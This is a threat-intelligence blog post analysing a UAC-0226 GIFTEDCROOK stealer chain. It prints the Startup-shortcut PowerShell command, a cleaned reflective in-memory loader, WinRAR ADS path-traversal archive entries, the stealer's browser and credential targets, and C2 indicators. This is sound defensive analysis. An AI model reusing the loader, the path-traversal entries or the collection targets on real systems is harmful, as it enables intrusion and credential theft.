JPG_013.jpg.lnk
SHA-256:
fe38e54bedee074825eb3fcbe4824ed203876692a424e0c183e0006b31d1b7a8

JPG_014.jpg.lnk
SHA-256:
a8d0a03543db29d279175c9679eba574dcb7a17e306195a68ab1d033ee2be01c

spisokszch.xlsx.lnk
SHA-256:
6754f3854680767a394b22090f277fc53ec5a242faff54bf233084da5989c3ef

ritecommunion.ps1
SHA-256:
adf2c6f80229677615358b56f329aba9c3e9e009d9ca6d6deb0b805e6e212dbc

shoutnewspaper.ps1
SHA-256:
43579dd80314b6de4a1ca4e40b53ef0376a2ab55d50c8368e0b26af0af0d08c7

collectivisationgown.ps1
SHA-256:
95c8f0ac2e427a5637e554c60f649cab1fe55f649fe3aacde3c66fdc6491921b

hintprefix.ps1
SHA-256:
56b19b9f63a649e8cfb9a0e4bb73aac52fbc2265e9793a5b976221432d0ba77f

Secondary archive
szch45clusterhum.zip
SHA-256:
fee96a66a8c143ff4f172963a56a813427a65dad7758834bb3283685a37df633

ClusterHub.exe
SHA-256:
a11339f52a3b31d5a1f134e19bfc83d260ccbde4f14b14889bd824cc636c9a93

UpdateRingSettings.dll
SHA-256:
da48273d7d4ab1d71ecf50fec0a58884ddb2baf18d872f25cab3637519ef71d7

LoggingPlatform.dll
SHA-256:
c0713fd808170f2204a9bc091288e358c5f3266bf99a44f3a36a7ccc03732bb1

monitor_base.sym
SHA-256:
93621d3793198cb00c1a0450e8e3375d6c0de862a8449ab796c894062ae32612

physicsdesc.map
SHA-256:
ad17e13f05399f0c3a2b13505507a78d8c2dbe2850e507a2d78b9dfa2f5b5e9a

Decoded Remcos Agent
SHA-256:
40079f05ba7cdccac1f62f8e7e1b644bc0a806b58465f5c005725bc54ee73ef1

198995fecc0e38a2749b7e48c54112a959b77878683b726ee36430c4bacec196  00_000004f0_x86.bin
c50bffbef786eb689358c63fc0585792d174c5e281499f12035afa1ce2ce19c8  01_00045f4a_x86.bin
8e8e43a2f0069f081f5ffb77237faebcda9a46e8f8fd0e128500e74bbc9ea3a5  02_00091422_x64.bin
3594a835ed3dbf80ac460c0e852fa91baa3b17aadff9c3b40c03eff6b34658d2  03_000cd556_x86.bin
729e5965e43ff458f6da901536c9a43be52a3820718e2dd5456150e2d73bb97f  04_000ce156_x64.bin
68bee500e0080f21c003126e73b6d07804d23ac98b2376a8b76c26297d467abe  05_000e9b56_x86.bin
b02b8547644bbfe77428e59c5ccec56c412e3c83aec44180e59110189a249956  06_000ea556_x64.bin
324e2f2241604e53b88bd590213385abbb2961d3f17debfb4d40e4fa7bd9c4c0  07_001018c2_x86.bin

04_decompressed_hijackloader_bundle.bin
SHA256:
4870337bcd6e3ba0d82ca6a42604c05f1885c87967d0dc120f699d2b19706247

Delivery and C2:
144.31.236.240
144.31.236.240:27018

Mutex:
Rmc-X5JFP2

Configured filename:
remcos.exe

Tracking UAC-0226 Tooling Evolution: From WinRAR ADS to Reflective GIFTEDCROOK Loading

by Robin Dost


A few months ago, I analyzed a UAC-0226 campaign delivering a GIFTEDCROOK stealer through a weaponized WinRAR archive.
Of course, that wasn’t it yet, we’re going to keep tracking our friends, so let’s go 🙂

The chain was relatively simple:

RAR archive
    -> decoy PDF
    -> LNK
    -> obfuscated PowerShell
    -> additively encoded payload
    -> GIFTEDCROOK


Sample: 420f1931af9b3f7d02c5edfc78eb69abdad6e71d2c3e9b81f9cbc3823a503654

The sample discussed here follows the same general idea, but the implementation is different.

This time, the actor uses an ADS-based WinRAR path traversal to silently place a shortcut in the Windows Startup directory while dropping two additional stages into C:\ProgramData.

The PowerShell loader is still buried under generated garbage, but the payload behind it is more interesting: an additively encoded, headerless PE image containing its own reflective mapper.

Underneath that loader sits a browser and file stealer targeting Chromium, Firefox, documents, VPN configurations, KeePass databases and other potentially sensitive material.

So, let’s take the chain apart.

Before we start:

I wilI will use my Infrastructure Intelligence Model (IIM) to demonstrate how easily two attacks from the same actor can be compared without reducing the analysis to changing hashes, filenames and IP addresses.

If you are new to IIM, I recommend reading the following pages first:

https://blog.synapticsystems.de/attack-pattern-mapping-for-adversary-infrastructure/
https://blog.synapticsystems.de/iimql-the-query-language-for-adversary-infrastructure-4-7/
https://blog.synapticsystems.de/iim-the-grammar-of-adversary-infrastructure/

Why IIM is useful in this case

Traditional threat intelligence platforms are good at storing indicators and mapping techniques.
What they often fail to preserve is the structure of the attack itself:

How was the payload delivered?
Which component triggered execution?
What changed between campaigns?
Which parts of the chain remained stable?

This becomes especially visible with actors such as Gamaredon.
Their infrastructure, filenames, scripts and payloads rotate constantly, while recurring operational patterns often remain hidden across separate reports and IOC collections.

IIM models each component by its role inside the chain, such as Entry, Staging, Payload or C2.
This makes different campaigns directly comparable, even when all underlying indicators have changed.

The result is what I call Tooling Evolution Intelligence: understanding how an actors delivery methods, loaders, payload formats and operational decisions evolve over time.

In the following analysis, two UAC-0226/GIFTEDCROOK attacks are placed into the same IIM view.
The underlying pattern remains recognizable, while changes in persistence, payload encoding, in-memory loading and telemetry become visible immediately.

Initial archive structure

The archive was presented as a Ukrainian PDF named:

взвод розвідки.pdf

This roughly translates to:

Reconnaissance platoon

The visible PDF contains references to:

Дрон на оптоволокні
Fiber-optic drone

Літак-розвідник
Reconnaissance aircraft

It also contains names and military ranks.

That is a much narrower theme than a generic military document.
The lure appears specifically designed around Ukrainian reconnaissance and UAV-related personnel.

The recovered archive entries looked like this:

взвод розвідки.pdf

взвод розвідки.pdf:..\..\..\..\..\..\..\..\..\..\..\..\ProgramData\WC3

взвод розвідки.pdf:..\..\..\..\..\..\..\..\..\..\..\..\ProgramData\wt1

взвод розвідки.pdf:..\..\..\..\..\Roaming\Microsoft\Windows\
Start Menu\Programs\Startup\ThJRq_6uEj.lnk

The colon after the PDF filename is important.

These are not merely oddly named files.
The syntax is consistent with NTFS Alternate Data Streams combined with path traversal.
If you follow this Blog, you might already know this CVE through my Gamaredon (UAC-0010) series.

CVE-2025-6218 is the related earlier WinRAR path traversal issue.
Both vulnerabilities are often mentioned together, but the ADS structure visible in this archive is the distinguishing part of CVE-2025-8088.

The resulting file placement is:

C:\ProgramData\WC3
C:\ProgramData\wt1

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
ThJRq_6uEj.lnk

This already changes the interaction model compared to the previous sample.

The victim does not necessarily need to identify and manually launch a suspicious shortcut from the extracted archive.
The shortcut is placed directly into the user’s Startup directory and is executed when that user logs in again.

Stage 0: The Startup shortcut

The shortcut points to:

C:\Windows\System32\cmd.exe

Its arguments normalize to approximately:

cmd.exe /c start /min "" ^
powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass ^
-Command "powershell -NoProfile -ExecutionPolicy Bypass ^
-Command \"iex (Get-Content 'C:\ProgramData\WC3' -Raw)\""

The execution chain is therefore:

Startup LNK
    -> cmd.exe
    -> minimized PowerShell
    -> second hidden PowerShell
    -> read C:\ProgramData\WC3
    -> execute it through IEX

There is no remote download at this point.
Everything required for execution has already been planted by the archive.

The shortcut metadata contains the machine identifier:

desktop-hagd25b

It also contains timestamps close to the creation time of the decoy PDF.
These values may describe the system used to package the archive, although LNK and document timestamps should always be treated as low-confidence artifacts because they are easy to manipulate.

Stage 1: Deobfuscating WC3

Despite its extensionless filename, WC3 is a PowerShell script.

At first glance, it is intentionally unpleasant:

random function names
random variable names
large meaningless arrays
constant arithmetic
thousands of irrelevant Write-Host calls
sleep operations
unused helper functions

The script is around 92 KB, but only a small fraction of it contributes to the actual execution chain.

This is the same general obfuscation philosophy seen in the earlier UAC-0226 sample: generate enough noise to make the script look complicated without introducing a particularly strong protection mechanism.

The first step was therefore not to understand every function.

It was to identify the small number of operations that interact with files, memory and native APIs.

After removing the junk, the relevant constants were:

Stage path:       C:\ProgramData\wt1
Stage size:       1,131,008 bytes
Decode value:     72 / 0x48
Execution offset: 95,152 / 0x173B0
Initial delay:    60 seconds

The script dynamically resolves the following APIs:

ntdll!NtAllocateVirtualMemory
ntdll!NtProtectVirtualMemory
ntdll!NtCreateThreadEx
ntdll!NtWaitForSingleObject
ntdll!NtClose

kernel32!GetExitCodeThread

It resolves them through .NET reflection and Microsoft.Win32.UnsafeNativeMethods rather than declaring them through a normal Add-Type block.

The cleaned execution logic looks like this:

Start-Sleep -Seconds 60

$stage = [System.IO.File]::ReadAllBytes("C:\ProgramData\wt1")

for ($i = 0; $i -lt 1131008; $i++) {
    $stage[$i] = [byte](($stage[$i] - 72) -band 0xff)
}

$base = NtAllocateVirtualMemory(
    current_process,
    1131008,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
)

Copy-ToMemory $stage $base

NtProtectVirtualMemory(
    current_process,
    $base,
    1131008,
    PAGE_EXECUTE_READWRITE
)

$thread = NtCreateThreadEx(
    current_process,
    $base + 0x173B0,
    $base
)

NtWaitForSingleObject($thread)

The decoded data is copied into the current PowerShell process and executed at a fixed offset.

That fixed offset becomes important later.

Loader telemetry

After the thread exits, WC3 collects four 32-bit values:

DWORD 0: thread exit code
DWORD 1: value at decoded image + 0x44
DWORD 2: value at decoded image + 0x48
DWORD 3: value at decoded image + 0x4C

The resulting 16-byte structure is sent to:

hxxps://142.111.194[.]73:8640/dj5FZEiLnA/

Before sending it, the loader globally disables TLS certificate validation.
Initially, the three values stored inside the decoded image looked like possible output from the stealer.
Further analysis showed that this was incorrect.
The fields are written by the reflective mapper and represent loader status, an error or NTSTATUS value and a progress or stage indicator.
This means the outer PowerShell layer implements its own execution telemetry.

The operator can likely distinguish between outcomes such as:

mapping started
allocation failed
imports failed
relocations failed
entry point reached
payload exited

This callback is separate from the actual data collection performed by the inner DLL.

Stage 2: Decoding wt1

The second ProgramData file is exactly:

1,131,008 bytes
0x114200 bytes

The decoding operation is just an additive byte transformation:

The same operation can be described as:

plaintext[i] = ciphertext[i] - 72 mod 256

This is not encryption in any meaningful cryptographic sense, it is enough to hide readable strings, signatures and headers from basic static inspection.

The previous UAC-0226 sample used essentially the same technique, but with a subtraction value of 117.
Here, the value has changed to 72.

After decoding, I expected a normal PE file.
Instead, the file still did not begin with:

MZ

At this point it would be easy to assume that the decoder was wrong.

It was not.

The payload is a headerless PE image

Although the DOS and NT headers had been replaced, the decoded data still contained recognizable PE structures:

.text
.rdata
.data
.pdata
.fptable
.reloc

The first 0x400 bytes form a custom header used by the loader.

Enough metadata remained to reconstruct the original image:

FieldValue
Original ImageBase0x180000000
SizeOfImage0x11A000
Original PE EntryPoint0x8FA84
Export Directory RVA0xDD580
Import Directory RVA0xDD5C0
Relocation Directory RVA0x119000
Number of sections6

The section layout was:

SectionRVARaw offsetRaw sizePermissions
.text0x10000x4000xAFA00RX
.rdata0xB10000xAFE000x2D800R
.data0xDF0000xDD6000x2D800RW
.pdata0x10F0000x10AE000x8200R
.fptable0x1180000x1130000x200RW
.reloc0x1190000x1132000x1000R

The export directory revealed:

DLL name: Main.dll
Export:   Func
Ordinal:  1
RVA:      0x17FB0

To convert that RVA into a raw file offset:

raw offset =
    .text raw offset
    + (export RVA - .text RVA)

raw offset =
    0x400
    + (0x17FB0 - 0x1000)

raw offset =
    0x173B0

That result exactly matches the hardcoded execution offset inside WC3:

0x173B0

So the PowerShell loader is not jumping into an arbitrary shellcode location.

It is calling:

Main.dll!Func

Main.dll!Func: The reflective mapper

The exported function is not the stealer’s main logic.

It is a custom reflective PE loader.

Its job is to take the headerless image passed by PowerShell and build a working DLL in memory.

The process is approximately:

validate custom header
    -> resolve APIs through PEB walking and export hashing
    -> allocate SizeOfImage
    -> copy headers and sections
    -> resolve imports
    -> apply relocations
    -> set section permissions
    -> initialize runtime structures
    -> call DLL entry point with DLL_PROCESS_ATTACH

The custom header acts as communication space between the mapper and the PowerShell loader.
This is where the status values at offsets 0x44, 0x48 and 0x4C originate.

The design gives the actor several advantages:

  1. The file does not look like a standard PE on disk.
  2. Static tools cannot parse it correctly without reconstruction.
  3. The payload never needs to be written back as a valid DLL.
  4. The outer loader can receive detailed mapper status.
  5. Native API usage avoids some of the most obvious PowerShell injection patterns.

This is a meaningful evolution from the simpler loader in the earlier campaign.
The previous sample decoded a payload and used more conventional memory allocation and thread execution.
The current build adds a dedicated custom-header format and a complete reflective mapper between the PowerShell script and the final DLL.

Reconstructing the inner strings

Once the PE structure was rebuilt, the next obstacle was the internal string handling.
The payload does not store most relevant strings as plaintext.
A function near the beginning of the .text section implements an RC4-like stream cipher:

256-entry state array
RC4-style key scheduling
RC4-style pseudo-random generation
state swaps
XOR with generated keystream

The main difference is that the implementation processes 16-bit values corresponding to UTF-16 words rather than treating everything as ordinary 8-bit strings.

I identified 118 call sites to this decoder.
Of those, 116 could be statically reconstructed.

The first useful results were environment variable names:

USERNAME
USERPROFILE
TEMP

The malware does not simply call GetEnvironmentVariableW.
Instead, it walks the process environment through the PEB and locates the requested values itself.

That is not necessary for functionality, but it reduces obvious API-level indicators.

Browser collection

The decrypted strings revealed explicit targeting of several browsers.

Chromium-based browsers

Google Chrome
Microsoft Edge
Opera

The payload looks for:

Login Data
Cookies
Network\Cookies
Local State
Last Version

The imported function:

CryptUnprotectData

is consistent with decrypting DPAPI-protected Chromium key material and locally stored secrets.

The payload also contains strings used to identify and filter Chromium subprocesses:

--type=utility
--type=crashpad-handler
--type=gpu-process

Firefox

The malware searches Firefox profile directories for:

logins.json
key3.db
key4.db
cookies.sqlite

This gives it access to stored login metadata, cookies and Firefox key database material.

So this is not just a generic document collector.

It includes dedicated browser-stealing functionality across both Chromium and Firefox ecosystems.

File collection

The payload also maintains an extension allowlist:

txtdocdocxdocmxls
xlsxxlsmxltxltxxltm
csvrtfdotdotxdotm
odtpptpptxpptmpps
ppsxpotpdfmdlog
emlconfziprar7z
targzipcabovpnkdbx
jkspngbmpjpegjpg

Some extensions are especially relevant:

ovpn  -> OpenVPN profiles and possibly embedded credentials
kdbx  -> KeePass databases
jks   -> Java KeyStores
eml   -> saved email messages

The collector searches locations including:

Desktop
Documents
Downloads
drive roots

Strings such as:

/Files/
/Files/C/

suggest that collected files are organized by source or drive inside the staging structure.

Local staging

The reconstructed paths include:

%USERPROFILE%\RJ_8An6YWmhvYh9I8Me
%USERPROFILE%\RJ_8An6YWmhvYh9I8Me\%USERNAME%
%USERPROFILE%\RJ_8An6YWmhvYh9I8Me\
%USERNAME%\JUWOyZd5pm7qym
%USERPROFILE%\qhGQKHaADCeIZe2UoRub.zip
%TEMP%\oBKhrQLe1CKmO3RhHO
%TEMP%\logs.txt

The randomly named ZIP file is very likely the final local staging container:

%USERPROFILE%\qhGQKHaADCeIZe2UoRub.zip

The file:

%TEMP%\oBKhrQLe1CKmO3RhHO

is used as an eight-byte persistent identifier.

The logic is approximately:

if identifier file exists:
    read first eight bytes
else:
    identifier = GetSystemTimeAsFileTime()
    write identifier to file

This gives the malware a stable per-infection or per-host value without relying on the registry.

Additional referenced files include:

ExitCode.txt
Key10.txt
logs.txt

Their exact role was not fully resolved through static analysis.

Persistence and cleanup

The inner payload contains active references to:

C:\ProgramData\

%APPDATA%\Microsoft\Windows\Start Menu\
Programs\Startup\

cmd.exe /c "timeout /t 5 & del "

This supports code paths for:

copying or placing files in ProgramData
interacting with the user Startup folder
delayed self-deletion

The initial persistence, however, is already established by the archive itself.
The WinRAR path traversal places the LNK in Startup before the malware is executed.
The internal persistence-related code may represent:

installation repair
payload migration
redundant persistence
cleanup after execution

The exact conditions for each branch would require dynamic tracing, but it’s too hot and i am too lazy today.

What changed compared to the previous UAC-0226 sample?

The two chains are clearly related in design philosophy.

(IIM Comparison View in Kraken)


If you want to compare the two chains yourself, here’s the Chain as JSON, you can throw it into the IIM Workbench and explore it for yourself 🙂
And: If you are interested in using my tooling or you want to support me in any way, feel free to visit https://malwarebox.eu or message me via contact@robin-dost.de

Click for IIM Chain
{
  "actor_id": "UAC-0226",
  "attack_annotations": [
    {
      "comment": "Both observations use PowerShell loaders.",
      "name": "PowerShell",
      "tactic": "Execution",
      "technique_id": "T1059.001"
    },
    {
      "comment": "Generated junk code and encoded payload stages.",
      "name": "Obfuscated/Compressed Files and Information",
      "tactic": "Defense Evasion",
      "technique_id": "T1027"
    },
    {
      "comment": "Additive decoding: 117 in April; 0x48 in June.",
      "name": "Deobfuscate/Decode Files or Information",
      "tactic": "Defense Evasion",
      "technique_id": "T1140"
    },
    {
      "comment": "June observation plants the LNK in the user Startup folder.",
      "name": "Registry Run Keys / Startup Folder",
      "tactic": "Persistence",
      "technique_id": "T1547.001"
    },
    {
      "comment": "June observation maps a headerless PE image through Main.dll!Func.",
      "name": "Reflective Code Loading",
      "tactic": "Defense Evasion",
      "technique_id": "T1620"
    }
  ],
  "chain": [
    {
      "entity_id": "apr_archive",
      "role": "entry",
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "techniques": [
        "IIM-T024"
      ],
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_decoy",
      "role": "entry",
      "role_confidence": "confirmed",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_lnk",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "baseline-visible-lnk",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_loader",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "virtualalloc-loader",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_encoded",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "subtract-117",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_payload",
      "role": "payload",
      "role_confidence": "likely",
      "x_change_marker": "directly-reconstructed-pe",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_c2",
      "role": "c2",
      "role_confidence": "confirmed",
      "x_change_marker": "data-exfiltration-c2",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "jun_archive",
      "needs_review": true,
      "review_notes": "Original archive itself was not supplied; entity value is descriptive.",
      "role": "entry",
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "techniques": [
        "IIM-T024"
      ],
      "x_change_marker": "ads-path-traversal",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_decoy",
      "role": "entry",
      "role_confidence": "confirmed",
      "x_change_marker": "uav-recon-targeting",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_lnk",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "startup-persistence",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_wc3",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "native-ntapi-loader",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_wt1",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "subtract-0x48-custom-header",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_payload",
      "role": "payload",
      "role_confidence": "likely",
      "x_change_marker": "reflective-pe-mapper",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_telemetry",
      "role": "c2",
      "role_confidence": "confirmed",
      "x_change_marker": "loader-telemetry-not-exfiltration",
      "x_lane": "june-2026"
    }
  ],
  "chain_id": "uac-0226-giftedcrook-apr-jun-2026-comparison",
  "confidence": "likely",
  "description": "Dual-lane comparison graph overlaying two related UAC-0226/GIFTEDCROOK observations. The April and June lanes remain disconnected so the visualizer can compare stable structure and implementation changes without asserting that one sample directly produced the other.",
  "entities": [
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_archive",
      "source": "Synaptic Security Blog",
      "type": "hash",
      "value": "7200a9f1e1ea51b66ab9c9274e9d8f805633179634e8ff4dcb8ef82bc02518df",
      "x_label": "Weaponized RAR archive",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_decoy",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "Відомості з реєстру військовозобов’язаних про працівників №20260409-7496423-1.pdf",
      "x_label": "Military service registry decoy",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_lnk",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "ojMP31J28ohEDxT.lnk",
      "x_label": "Visible archive shortcut",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_loader",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "05fE",
      "x_label": "Obfuscated PowerShell loader",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_encoded",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "Arj",
      "x_label": "Additively encoded payload; subtract 117",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_payload",
      "source": "Synaptic Security Blog",
      "type": "hash",
      "value": "2a8ea9f1ad8936fb302243faa64b91c5767df411923715cbdb1a869e3bfd7e6d",
      "x_label": "Decoded GIFTEDCROOK payload",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_c2",
      "source": "Synaptic Security Blog",
      "type": "url",
      "value": "https://136.0.141[.]138:8406/rcv/",
      "x_label": "RC4-reconstructed exfiltration endpoint",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "Analyst-provided archive entry structure"
      ],
      "id": "jun_archive",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "Weaponized RAR containing взвод розвідки.pdf (original archive filename and hash unavailable)",
      "x_label": "ADS/path-traversal archive",
      "x_lane": "june-2026",
      "x_value_status": "descriptive-placeholder"
    },
    {
      "evidence": [
        "SHA256 dc4c906e56ecb446cbb10b227e1fb470e428108584678314533d80e52a2b9b30"
      ],
      "id": "jun_decoy",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "взвод розвідки.pdf",
      "x_label": "Reconnaissance/UAV-themed decoy",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "SHA256 05e131555faabae0960f0527cfb72d2b8e2381fd0fde22b0b4e2b365c7faf445"
      ],
      "id": "jun_lnk",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ThJRq_6uEj.lnk",
      "x_label": "Startup-planted shortcut",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "SHA256 6b7e3dd5af5a56dd24e96c5b13282ad084c78d0a589d5e4c1b6ba58b4525d9a8"
      ],
      "id": "jun_wc3",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "C:\\ProgramData\\WC3",
      "x_label": "PowerShell loader using native NT APIs",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "SHA256 3006a6639eff677b08595927cf219a3bcd5fdd02bfd592606316bfd4623bb902"
      ],
      "id": "jun_wt1",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "C:\\ProgramData\\wt1",
      "x_label": "Encoded headerless PE image; subtract 0x48",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "Decoded custom-header image",
        "Main.dll!Func at raw offset 0x173B0 / export RVA 0x17FB0"
      ],
      "id": "jun_payload",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "hash",
      "value": "78538f945a1d20aa392f3065f222223a4ed47284abfafa8c135bdfd9eacef222",
      "x_label": "Reflectively mapped GIFTEDCROOK payload",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "Recovered from WC3 PowerShell loader"
      ],
      "id": "jun_telemetry",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "url",
      "value": "https://142.111.194[.]73:8640/dj5FZEiLnA/",
      "x_label": "Mapper execution telemetry endpoint",
      "x_lane": "june-2026"
    }
  ],
  "iim_version": "1.1",
  "name": "UAC-0226 GIFTEDCROOK Evolution: April vs June 2026",
  "needs_review": true,
  "relations": [
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 1,
      "to": "apr_decoy",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 2,
      "to": "apr_lnk",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 3,
      "to": "apr_loader",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 4,
      "to": "apr_encoded",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_lnk",
      "sequence_order": 5,
      "to": "apr_loader",
      "type": "execute",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_loader",
      "sequence_order": 6,
      "to": "apr_encoded",
      "type": "execute",
      "x_lane": "april-2026"
    },
    {
      "confidence": "likely",
      "from": "apr_encoded",
      "sequence_order": 7,
      "to": "apr_payload",
      "type": "execute",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_payload",
      "sequence_order": 8,
      "to": "apr_c2",
      "type": "connect",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 101,
      "to": "jun_decoy",
      "type": "drops",
      "x_lane": "june-2026"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 102,
      "to": "jun_lnk",
      "type": "drops",
      "x_lane": "june-2026",
      "x_mechanism": "ADS path traversal into Startup"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 103,
      "to": "jun_wc3",
      "type": "drops",
      "x_lane": "june-2026",
      "x_mechanism": "ADS path traversal into ProgramData"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 104,
      "to": "jun_wt1",
      "type": "drops",
      "x_lane": "june-2026",
      "x_mechanism": "ADS path traversal into ProgramData"
    },
    {
      "confidence": "confirmed",
      "from": "jun_lnk",
      "sequence_order": 105,
      "to": "jun_wc3",
      "type": "execute",
      "x_lane": "june-2026"
    },
    {
      "confidence": "confirmed",
      "from": "jun_wc3",
      "sequence_order": 106,
      "to": "jun_wt1",
      "type": "execute",
      "x_lane": "june-2026",
      "x_mechanism": "Read, subtract 0x48, copy to memory, invoke raw offset 0x173B0"
    },
    {
      "confidence": "likely",
      "from": "jun_wt1",
      "sequence_order": 107,
      "to": "jun_payload",
      "type": "execute",
      "x_lane": "june-2026",
      "x_mechanism": "Custom reflective mapper resolves imports/relocations and calls DllMain"
    },
    {
      "confidence": "confirmed",
      "from": "jun_wc3",
      "sequence_order": 108,
      "to": "jun_telemetry",
      "type": "connect",
      "x_lane": "june-2026",
      "x_purpose": "16-byte mapper status telemetry"
    }
  ],
  "title": "UAC-0226 GIFTEDCROOK Evolution: April vs June 2026",
  "x_comparison_mode": true,
  "x_comparison_note": "Schema-valid IIM chain used as an analytical overlay. For strict federation, use the two single-observation chain files included in the comparison pack.",
  "x_lanes": [
    {
      "id": "april-2026",
      "label": "April 2026 / previous sample",
      "order": 1
    },
    {
      "id": "june-2026",
      "label": "June 2026 / current sample",
      "order": 2
    }
  ]
}


They both use:

weaponized WinRAR archives
Ukrainian military-themed decoys
LNK-based execution
PowerShell
generated junk code
simple additive payload encoding
runtime-resolved APIs
RC4-like internal string protection
data collection and exfiltration

But the current chain is more operationalized.

ComponentPrevious sampleCurrent sample
Visible filesPDF, LNK, Arj, 05fEOne visible PDF, hidden ADS-based payload entries
ExecutionUser opens the LNKLNK is planted in Startup
Payload locationFiles extracted with the lureWC3 and wt1 written to ProgramData
Byte transformationSubtract 117Subtract 72
Native executionVirtualAlloc-style loaderNtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx
Decoded formatDirectly analyzable payloadHeaderless PE with custom metadata
In-memory loadingBasic memory executionFull reflective PE mapper
Loader feedbackNot observedDedicated 16-byte mapper telemetry
Browser targetingGIFTEDCROOK collectionExplicit Chrome, Edge, Opera and Firefox collection
File collectionChunked exfiltrationBroad document, archive, VPN, KeePass and keystore collection
C2 recoveryRC4-reconstructed C2Outer callback recovered; inner C2 remains encoded or dynamic
C2 Endpoint*:8406/rcv*:8640/dj5FZEiLnA

The change is not that UAC-0226 suddenly started using an advanced offensive framework.
The core components are still fairly straightforward.

The actual change is that the chain has become better packaged:

less visible archive content
automatic Startup execution
clean separation between loader and payload
custom header format
reflective DLL mapping
separate execution telemetry
broader and more explicit collection logic

The actor is still using simple building blocks, they are just assembling them more effectively.

Infrastructure Changes

Hosting-Provider dig not change, UAC-0226 is still using evoxt.com as their hosting provider.


Certificate changed:


Also there were changes in the default webserver request:


Port and Endpoint Changed too:

Before: *:8406/rcv
New: *:8640/dj5FZEiLnA

Note: This is likely intended to evade endpoint and network-based detection. The previous combination of port 8406 and the /rcv endpoint used by UAC-0226 have become a known indicator for EDR and intrusion-detection systems.
In response, the operators transposed the port from 8406 to 8640 and replaced the static endpoint with a randomly generated string.


Attribution considerations

The campaign context and technical overlap are consistent with the previously observed UAC-0226 and GIFTEDCROOK activity.
However, attribution should not rest on a single IP address, one obfuscation pattern or one Ukrainian lure.

The more useful similarities are structural:

the same archive-to-LNK execution model
the same generated PowerShell noise
the same additive byte-decoding concept
the same staged in-memory execution
the same RC4-like string protection
